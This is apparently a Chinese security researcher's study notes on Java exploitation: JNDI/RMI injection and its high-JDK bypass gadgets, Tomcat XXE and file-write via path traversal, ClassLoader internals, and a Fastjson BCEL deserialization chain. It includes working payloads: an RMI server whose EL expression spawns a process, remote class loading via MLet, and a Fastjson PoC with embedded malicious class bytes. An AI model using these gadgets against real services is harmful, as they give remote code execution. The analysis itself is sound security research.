Java安全杂烩(一)
0x01.JNDI在RMI中协议面临的攻击面
在RMI中,服务端可以绑定一个对象,客户端查找该对象时以序列化数据返回,服务端也同样支持绑定对象的引用,返回给客户端指定地址以获得这个对象
如下图所示,我们构建一个恶意的服务端,并且绑定了一个对象引用(注意这里的类应为全称):
当客户端进行lookup rmi://127.0.0.1:1099/Foo
时得到实例化的对象
这里使用的是 JDK 1.8.0-181,com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要额外引入对应jar包。
EvilClass的定义如下:
将编译好的class文件放置在对应的WEB目录下,这里使用Python起一个端口为5000的
SimpleHTTPServer
随后我们构建客户端进行Lookup操作:
可以看到客户端的输出如下:
忽略掉执行顺序,这里还执行了
EvilClass
类的getObjectInstance
方法,相关代码在com/sun/jndi/rmi/registry/RegistryContext.java
中,这里在decodeObject
下断点动调:如果要解码的对象var1是远程引用,就需要先解引用然后再调用
NamingManager.getObjectInstance
方法,继续跟进发现该方法会实例化对应的 ObjectFactory类并调用其getObjectInstance
方法,这也符合我们前面打印的 EvilClass的执行顺序。在前文所述中,使用环境为JDK8,并且版本小于8u121,当使用JDK13时重复如上操作,会发现存在如下问题:
这个限制在
JDK 8u121、7u131、6u141
版本时加入。因此如果JDK高于这些版本,默认是不信任远程代码的,因此也就无法加载远程RMI代码。
继续深究
继续动调:
前半部分的处理是一样的,要解码的对象r是远程引用,就需要先解引用然后再调用
NamingManager.getObjectInstance
,其中会实例化对应的ObjectFactory类并调用其 getObjectInstance
方法,而在第二个框中则可以看到此前抛出的异常,为了绕过这里 ConfigurationException的限制,我们有三种方法:
- 1.令ref 为空
- 2.令ref.getFactoryClassLocation() 为空,
- 3.令trustURLCodebase 为 true
其中可行的方法其实为后两种,因为当ref==null
意味着ref不是远程引用,客户端需要在本地实例化,这样远程RMI则没有操作空间,不好进行利用
针对第二种方法,这里要清楚getFactoryClassLocation
方法,回到Reference类的构造方法:
这个属性表示引用所指向对象的对应factory名称,对于远程代码加载而言是codebase,即远程代码的URL地址,如果对应的 factory 是本地代码,则该值为空
在这里继续往下,分析NamingManager
的解析过程:
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
// ...
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
首先调用ref.getFactoryClassName
获得对应的工厂类,如果为空则通过网络去请求,即前文的情况,否则实例化该工厂类,并通过该工厂类去实例化一个对象并返回。
分析到这里,对于高JDK版本的绕过方式已经呼之欲出了,我们可以指定一个存在于目标classpath中的工厂类名称,交给该工厂来实例化恶意对象,从而间接实现一定的代码控制。
BeanFactory
这里分析一个最为常用的Gadget:org.apache.naming.factory.BeanFactory
,相关文档参考
上文说到实例化该工厂类后调用getObjectInstance
来实例化一个对象并且返回,因此在这里分析BeanFactory
的这个方法:
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString");
String value = (String)ra.getContent();
// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}
通过在返回给客户端的Reference对象的forceString
字段指定setter方法的别名,并在后续初始化过程中进行调用。forceString 的格式为a=foo,bar
,以逗号分隔每个需要设置的属性,如果包含等号,则对应的setter方法为等号后的值foo,如果不包含等号,则 setter方法为默认值setBar
这里便存在任意类方法调用,构造如下代码:
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe', '/c', 'calc.exe']).start()")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("calc",wrapper);
}catch (Exception e){
System.out.println(e.toString());
}
}
ResourceRef 在 tomcat 中表示某个资源的引用,其构造函数参数如下:
public ResourceRef(String resourceClass, String description, String scope, String auth, boolean singleton) {
this(resourceClass, description, scope, auth, singleton, (String)null, (String)null);
}
因此在这里我们制定的实际资源类是javax.el.ELProcessor
,工厂类是apache.naming.factory.BeanFactory
,继续动调:
首先如上文所述,这里绕过
ConfigurationException
的限制,实例化BeanFactory后调用该类的getObjectInstance
方法:最终会指定ELProcessor类的eval方法,并且通过反射调用的方式执行命令:
MLet
我们在找寻合适利用类的时候需要找寻满足以下3个条件的类:
- 1.JDK或者常用库的类
- 2.有public修饰的无参构造方法
- 3.public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞
其中javax.management.loading.MLet
符合这三个条件,并且该类存在addURL和loadClass方法,因为该类继承自URLClassLoader
,因此可以构造如下去加载远程类
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");
执行远程类的代码必须经过初始化或者实例化,单靠ClassLoader.loadClass
无法触发 static代码块,所以这里暂时没法RCE,但是可以用来探测ClassPath中的Gadget,我们可以将需要探测的gadget作为第一次累加载,如果本地没有这个Gadget,则会抛出异常,如果有则继续加载我们的远程类,通过远程类是否被请求即可判断:
而当如果目标ClassPath中不存在该类,则直接抛出异常,不会对后续的远程类加载
GroovyClassLoader & GroovyShell
GroovyShell允许在Java类中(甚至Groovy类)解析任意Groovy表达式的值。
import groovy.lang.GroovyShell;
public class GroovyShellExample {
public static void main( String[] args ) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(""calc".execute()");
}
}
通过groovyShell.evaluate方法即可执行命令:
SnakeYaml
SnakeYaml比Groovy更常见,new org.yaml.snakeyaml.Yaml().load(String)
也刚好符合条件,SnakeYAML是Java用于解析yaml格式数据的类库, 它提供了dump()将java对象转为yaml格式字符串,load()将yaml字符串转为java对象,常见利用是通过ScriptEngineManager
去调用URLClassLoader
加载远程类实现RCE:
MVEL
MVEL是一种用于Java应用程序,类似于OGNL的表达式语言。
MVEL不仅非常小和敏捷,而且它的语法易于阅读与EL 或OGNL比起来更像Java。
比如静态方法和属性的引用方式与Java一样,赋值也非常像Java
这里利用的是org.mvel2.sh.ShellSession
类的exec
方法:
动调一下,在exec
下断点后:
这里内置了几个Command,并且exec的参数必须在这些Command之中,才会进入后续execute
方法,这里重点查看push Command
的处理流程:
org.mvel2.sh.command.basic.PushContext
有调用MVEL.eval去解析表达式,对应的命令就是push,而其他命令并不会调用MVEL.eval进行解析:
以ls为例,甚至不会使用到参数
因此能够通过ShellSession.exec(String)
去执行push命令,从而解析MVEL表达式来实现命令执行
XXE & RCE Gadget
在所有实现javax.naming.spi.ObjectFactory
抽象类的类中,找寻到Tomcat的一个工厂类:org.apache.catalina.users.MemoryUserDatabaseFactory
,看一下这个类的getObjectInstance
实现:
这里要求实际类为org.apache.catalina.UserDatabase
,并且从中获得pathname
和readonly
两个属性,调用open方法,当readonly=false
时调用save方法:
使用
digester
解析,Digester是一款用于将XML转换为Java对象的事件驱动型工具,是对SAX的高层次封装,它提供了更加友好的接口,隐藏了XML节点具体的层次细节,使开发者可以更加专注于处理过程。
这里涉及到XML格式,存在XXE漏洞
最终通过Digester解析,触发XXE:
如何RCE
前文说到save
方法是保存相关数据,很有可能涉及到文件写的操作,因此在这里我们重点关注save
的处理:
其中需要跳到第三个else分支,而第一个分支可以通过增加readonly=true
的属性绕过,来看第二个if分支:
这里实际上进行了拼接,如果是远程URL的话这里把
catalina.base+pathname
组成文件名去实例化了一个File对象,所以这个目录必然不存在、不是目录、不可写,这个时候就得想到目录穿越,试想构造Payload如下:
CATALINA.BASE=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml
其组成的文件路径为:/usr/apache-tomcat-8.5.73/http://127.0.0.1:8888/../../conf/tomcat-users.xml
这种情况对于Windows系统而言是没有问题的
为了更好的熟悉控制写文件
的操作,我们这里使用本地的一个路径进行调试:
这里没有部署Tomcat,因此System.getProperty("catalina.base")=NULL
,代表没有进行路径的拼接,此时isWritable=true
前面这部分会先把事先在 open() 方法就解析好的 users、groups、roles都写入到 pathnameNew
这个文件里,这个文件就是pathname + .new
,但最终会将这个改名为之前的pathname,然后删掉.new
文件:
而在Linux
环境下,需要考虑到路径跳转的问题,必须先通过Gadget创建http:
目录,和其子目录http://xxx.xxx.xx.x/
,这个地址为我们想让服务器下载文件的远程地址,在这样的条件下,Linux环境下isWriteable()
的校验才会通过
创建Tomcat管理员
写WEBSHELL
这两个部分参考浅蓝师傅的文章:
https://tttang.com/archive/1405/#toc_xxe
0x02. ClassLoader
一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader
(引导类加载器)、Extension ClassLoader
(扩展类加载器)、App ClassLoader
(系统类加载器),AppClassLoader
是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader
加载类,ClassLoader.getSystemClassLoader()
返回的系统类加载器也是AppClassLoader。
值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader
(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader时候都会返回null。
我们来看一下ClassLoader类(java.lang.ClassLoader
)加载的流程:
- 1.调用findLoadedClass方法检查类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
- 2.如果创建当前ClassLoader时传入了父类加载器,如果有父类加载器就使用父类加载器加载类,否则使用JVM的Bootstrap ClassLoader加载。
- 3.如果上一步无法加载类,那么调用自身的findClass方法尝试加载。
- 4.如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类
- 5.如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
- 6.返回一个被JVM加载后的
java.lang.Class
类对象
自定义ClassLoader加载类
java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。
因此我们可以自实现一个ClassLoader来加载我们制定类,这里我们需要继承ClassLoader类,并且给出class的字节码,调用JVM native来注册该Class类:
package ClassLoad;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
public class HelloClassLoader extends ClassLoader{
public byte[] toByteArray(String filePath) throws IOException {
InputStream inputStream = new FileInputStream(filePath);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] bytes = new byte[1024 * 4];
int n = 0;
while ((n = inputStream.read(bytes)) != -1) {
baos.write(bytes, 0, n);
}
inputStream.close();
return baos.toByteArray();
}
public static String helloClass = "ClassLoad.hello";
// Hello类字节码
private static byte[] helloClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 57, 0, 17, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 8, 0, 8, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 10, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
};
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if(name.equals(helloClass)){
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(helloClass,helloClassBytes,0,helloClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
try {
HelloClassLoader loader = new HelloClassLoader();
Class hello = loader.findClass("ClassLoad.hello");
// 利用反射实例化该类并且得到该类的hello方法
Object helloInstance = hello.newInstance();
Method method = helloInstance.getClass().getMethod("hello");
String helloStr = (String)method.invoke(helloInstance);
System.out.println("method return: " + helloStr);
}catch (Exception e){
System.out.println(e.toString());
}
}
}
ClassLoader的类隔离加载机制
创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两则必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。
下面我们实现一个跨类加载器加载的例子,需要注意的一个基本原则:
ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射。
package ClassLoad;
import java.io.*;
import java.lang.reflect.Method;
public class HelloClassLoader extends ClassLoader{
public byte[] toByteArray(String filePath) throws IOException {
InputStream inputStream = new FileInputStream(filePath);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] bytes = new byte[1024 * 4];
int n = 0;
while ((n = inputStream.read(bytes)) != -1) {
baos.write(bytes, 0, n);
}
inputStream.close();
return baos.toByteArray();
}
public static String helloClass = "ClassLoad.hello";
// Hello类字节码
private static byte[] helloClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 57, 0, 17, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 8, 0, 8, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 10, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
};
public static class ClassLoaderA extends ClassLoader{
public ClassLoaderA(ClassLoader parent){
super(parent);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if(name.equals(helloClass)){
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(helloClass,helloClassBytes,0,helloClassBytes.length);
}
return super.findClass(name);
}
}
public static class ClassLoaderB extends ClassLoader{
public ClassLoaderB(ClassLoader parent){
super(parent);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if(name.equals(helloClass)){
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(helloClass,helloClassBytes,0,helloClassBytes.length);
}
return super.findClass(name);
}
}
public static void main(String[] args) {
try {
ClassLoader loader = ClassLoader.getSystemClassLoader();
ClassLoaderA loaderA = new ClassLoaderA(loader);
ClassLoaderB loaderB = new ClassLoaderB(loader);
// 使用同级但不同加载器加载同一个类
Class aClass = loaderA.findClass("ClassLoad.hello");
Class bClass = loaderB.findClass("ClassLoad.hello");
// 比较两个类是否相同
System.out.println("cClass == bClass: " + (aClass == bClass));
// 获取类的所有方法
Method[] methods = aClass.getDeclaredMethods();
for (Method method: methods){
System.out.println("method: " + method.toString());
}
//反射调用该类
Method hello = aClass.getMethod("hello");
String h = (String)hello.invoke(aClass.newInstance());
System.out.println("reflection method hello return: " + h);
}catch (Exception e){
System.out.println(e.toString());
}
}
}
可以看到不同类加载器加载同一个类后,其实是不相等的
BCEL ClassLoader
BCEL
是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoader
为com.sun.org.apache.bcel.internal.util.ClassLoader
,BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。
BCEL编码和解码
先对类字节码进行encode,然后进行解码:
package ClassLoad;
import org.apache.bcel.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;
import java.lang.reflect.Array;
import java.util.Arrays;
public class BCELLoad {
private static byte[] helloClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 57, 0, 17, 10, 0, 2, 0, 3, 7, 0, 4, 12, 0, 5, 0, 6, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 8, 0, 8, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 10, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 0, 33, 0, 9, 0, 2, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 11, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 13, 0, 14, 0, 1, 0, 11, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 7, -80, 0, 0, 0, 1, 0, 12, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16
};
public static byte[] getClassBytes(){
return helloClassBytes;
}
public String encode(byte[] classByte) throws IOException {
return "$$BCEL$$" + Utility.encode(classByte,false);
}
public byte[] decode(String classString) throws IOException{
int index = classString.indexOf("$$BCEL$$");
String realName = classString.substring(index + 8);
byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, false);
return bytes;
}
public static void main(String[] args) throws IOException{
BCELLoad load = new BCELLoad();
byte[] classbytes = load.getClassBytes();
String encode = load.encode(classbytes);
System.out.println("encode Class byte: " + encode);
byte[] decode = load.decode(encode);
System.out.println("decode Class byte: " + Arrays.toString(decode));
}
}
下面进行动调,当使用com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
时:
可以看到这里将编码字符串进行解码,转为类字节码数组后,调用
parse
:随后获取该类字节码数组,调用向JVM注册该类对象:
同样可以通过反射调用对象的方法:
兼容性问题
BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes就已经过时了,如下:
/**
* @param bytes the raw bytes of this Utf-8
* @deprecated (since 6.0)
*/
@java.lang.Deprecated
public final void setBytes( final String bytes ) {
throw new UnsupportedOperationException();
}
Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9
。
因此当使用JDK13执行时会出现异常:
BCEL FastJson攻击链分析
Fastjson(1.1.15 - 1.2.4)可以使用其中有个dbcp的Payload就是利用了BCEL攻击链,利用代码如下:
{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"BCEL_ENCODE_CLASS_NAME","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}
FastJson自动调用setter方法修改org.apache.commons.dbcp.BasicDataSource
类的driverClassName
和driverClassLoader
值,driverClassName是经过BCEL编码后的hello
类字节码,driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader
实例。
关于FastJson的漏洞,后续在学习...
先贴一下Poc:
package ClassLoad;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.apache.bcel.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
import java.util.LinkedHashMap;
import java.util.Map;
public class BCELLoad {
private static byte[] helloClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 52, 0, 37, 10, 0, 9, 0, 21, 8, 0, 22, 10, 0, 23, 0, 24, 8, 0, 25, 10, 0, 23, 0, 26, 7, 0, 27, 10, 0, 6, 0, 28, 7, 0, 29, 7, 0, 30, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 27, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 10, 104, 101, 108, 108, 111, 46, 106, 97, 118, 97, 12, 0, 10, 0, 11, 1, 0, 12, 104, 101, 108, 108, 111, 32, 99, 114, 105, 115, 112, 114, 7, 0, 31, 12, 0, 32, 0, 33, 1, 0, 8, 99, 97, 108, 99, 46, 101, 120, 101, 12, 0, 34, 0, 35, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 36, 0, 11, 1, 0, 15, 67, 108, 97, 115, 115, 76, 111, 97, 100, 47, 104, 101, 108, 108, 111, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 0, 33, 0, 8, 0, 9, 0, 0, 0, 0, 0, 3, 0, 1, 0, 10, 0, 11, 0, 1, 0, 12, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 13, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 1, 0, 14, 0, 15, 0, 1, 0, 12, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 13, 0, 0, 0, 6, 0, 1, 0, 0, 0, 14, 0, 8, 0, 16, 0, 11, 0, 1, 0, 12, 0, 0, 0, 79, 0, 2, 0, 1, 0, 0, 0, 18, -72, 0, 3, 18, 4, -74, 0, 5, 87, -89, 0, 8, 75, 42, -74, 0, 7, -79, 0, 1, 0, 0, 0, 9, 0, 12, 0, 6, 0, 2, 0, 13, 0, 0, 0, 22, 0, 5, 0, 0, 0, 8, 0, 9, 0, 11, 0, 12, 0, 9, 0, 13, 0, 10, 0, 17, 0, 12, 0, 17, 0, 0, 0, 7, 0, 2, 76, 7, 0, 18, 4, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20
};
public static byte[] getClassBytes(){
return helloClassBytes;
}
public String encode(byte[] classByte) throws IOException {
return "$$BCEL$$" + Utility.encode(classByte,true);
}
public byte[] decode(String classString) throws IOException{
int index = classString.indexOf("$$BCEL$$");
String realName = classString.substring(index + 8);
byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);
return bytes;
}
public void fastJsonAttack() throws IOException {
// 构建恶意Json
Map<String, Object> dataMap = new LinkedHashMap<String, Object>();
Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();
dataMap.put("@type", BasicDataSource.class.getName());
dataMap.put("driverClassName", encode(getClassBytes()));
classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
dataMap.put("driverClassLoader", classLoaderMap);
String json = JSON.toJSONString(dataMap);
System.out.println(json);
JSONObject object = JSON.parseObject(json);
System.out.println(object);
}
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
BCELLoad load = new BCELLoad();
load.fastJsonAttack();
// byte[] classbytes = load.getClassBytes();
// String encode = load.encode(classbytes);
// System.out.println("encode Class byte: " + encode);
// byte[] decode = load.decode(encode);
// System.out.println("decode Class byte: " + Arrays.toString(decode));
// ClassLoader loader = new ClassLoader();
// Class helloClass = loader.loadClass(encode);
// Object hello = helloClass.newInstance();
// String helloString = (String) hello.getClass().getMethod("hello").invoke(hello);
// System.out.println("hello method return: " + helloString);
}
}
来看一下调用链:
至于这里为什么会调用
getConnection
,因为在这里使用parseObject()
方法进行解析,在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法,也就包括getConnection
方法
通过getConnection()->createDataSource()->createConnectionFactory()
的调用关系,调用到了createConnectionFactory
方法:
跟进createDriver
:
这里调用
Class.forName(driverClassName, true, driverClassLoader)
,第二个参数表示初始化,因此会加载类中的静态代码块,而driverClassLoader
由我们传入控制,这里选择bcel.util.ClassLoader
,因此最终会调用恶意类的static代码块,实现RCE
下文重点叙述一下fastjson中反序列化的其它利用,以及fastjson利用相关细节